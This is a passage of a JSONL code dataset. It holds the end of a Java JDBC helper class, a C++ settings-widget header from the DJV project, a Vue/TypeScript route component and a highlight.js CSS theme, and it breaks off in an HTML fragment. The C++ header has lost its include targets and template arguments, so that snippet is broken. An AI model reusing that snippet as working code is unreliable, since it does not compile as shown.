(Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\treleaseConnection(con);\n\t\t}\n\t\treturn n;\n\t}\n\n\tpublic static int queryUserNum() {\n\t\tConnection con = getConnection();\n\t\tint n = 0;\n\t\tString sql = \"select count(*) from users where ustate != 0 \";\n\t\ttry {\n\t\t\tPreparedStatement pre = con.prepareStatement(sql);\n\t\t\tResultSet rs = pre.executeQuery();\n\t\t\tif (rs.next()) {\n\t\t\t\tn = rs.getInt(1);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\treleaseConnection(con);\n\t\t}\n\t\treturn n;\n\t}\n\n\tpublic static int update(String sql, Object... obj) {\n\n\t\tint n = 0;\n\t\tConnection con = getConnection();\n\t\ttry {\n\t\t\tPreparedStatement pre = con.prepareStatement(sql);\n\t\t\tfor (int i = 0; i < obj.length; i++) {\n\t\t\t\tpre.setObject(i + 1, obj[i]);\n\t\t\t}\n\t\t\tn = pre.executeUpdate();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\treleaseConnection(con);\n\t\t}\n\t\treturn n;\n\t}\n\n\tpublic static int uniqueQuery(String sql, Object... p) {\n\t\tConnection connection = getConnection();\n\t\tint n = 0;\n\t\ttry {\n\t\t\tPreparedStatement ps = connection.prepareStatement(sql);\n\t\t\tfor (int i = 0; i < p.length; i++) {\n\t\t\t\tps.setObject(i + 1, p[i]);\n\t\t\t}\n\t\t\tResultSet rs = ps.executeQuery();\n\t\t\trs.next();\n\t\t\tn = rs.getInt(1);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} finally {\n\t\t\treleaseConnection(connection);\n\t\t}\n\t\treturn n;\n\n\t}\n}\n"} +{"text": "// SPDX-License-Identifier: BSD-3-Clause\n// Copyright (c) 2019-2020 Darby Johnston\n// All rights reserved.\n\n#pragma once\n\n#include \n#include \n#include \n\n#include \n\nclass ISettingsWidget : public djv::UI::Widget\n{\n DJV_NON_COPYABLE(ISettingsWidget);\n\nprotected:\n void _init(const std::shared_ptr&);\n ISettingsWidget();\n\npublic:\n ~ISettingsWidget() override;\n\n std::shared_ptr > observeTitle() const;\n void setTitle(const std::string&);\n\n virtual void setLabelSizeGroup(const std::weak_ptr&) {}\n\n float getHeightForWidth(float) const override;\n\n void addChild(const std::shared_ptr&) override;\n void removeChild(const std::shared_ptr&) override;\n void clearChildren() override;\n\nprotected:\n void _preLayoutEvent(djv::System::Event::PreLayout&) override;\n void _layoutEvent(djv::System::Event::Layout&) override;\n\nprivate:\n std::weak_ptr _sizeGroup;\n std::shared_ptr > _title;\n std::shared_ptr _childLayout;\n std::shared_ptr _bellows;\n};\n"} +{"text": "import { BaseRouteComponent } from '../../../_common/route/route-component';\nimport { Component } from 'vue-property-decorator';\nimport { State } from 'vuex-class';\nimport { Store } from '../../store/index';\n\n@Component({\n\tname: 'RouteDash',\n})\nexport default class RouteDash extends BaseRouteComponent {\n\t@State\n\tapp!: Store['app'];\n}\n"} +{"text": "/*\nDescription: Magula style for highligh.js\nAuthor: Ruslan Keba \nWebsite: http://rukeba.com/\nVersion: 1.0\nDate: 2009-01-03\nMusic: Aphex Twin / Xtal\n*/\n\n.hljs {\n display: block;\n overflow-x: auto;\n padding: 0.5em;\n background-color: #f4f4f4;\n}\n\n.hljs,\n.hljs-subst {\n color: black;\n}\n\n.hljs-string,\n.hljs-title,\n.hljs-symbol,\n.hljs-bullet,\n.hljs-attribute,\n.hljs-addition,\n.hljs-variable,\n.hljs-template-tag,\n.hljs-template-variable {\n color: #050;\n}\n\n.hljs-comment,\n.hljs-quote {\n color: #777;\n}\n\n.hljs-number,\n.hljs-regexp,\n.hljs-literal,\n.hljs-type,\n.hljs-link {\n color: #800;\n}\n\n.hljs-deletion,\n.hljs-meta {\n color: #00e;\n}\n\n.hljs-keyword,\n.hljs-selector-tag,\n.hljs-doctag,\n.hljs-title,\n.hljs-section,\n.hljs-built_in,\n.hljs-tag,\n.hljs-name {\n font-weight: bold;\n color: navy;\n}\n\n.hljs-emphasis {\n font-style: italic;\n}\n\n.hljs-strong {\n font-weight: bold;\n}\n"} +{"text": "\n\n \n \n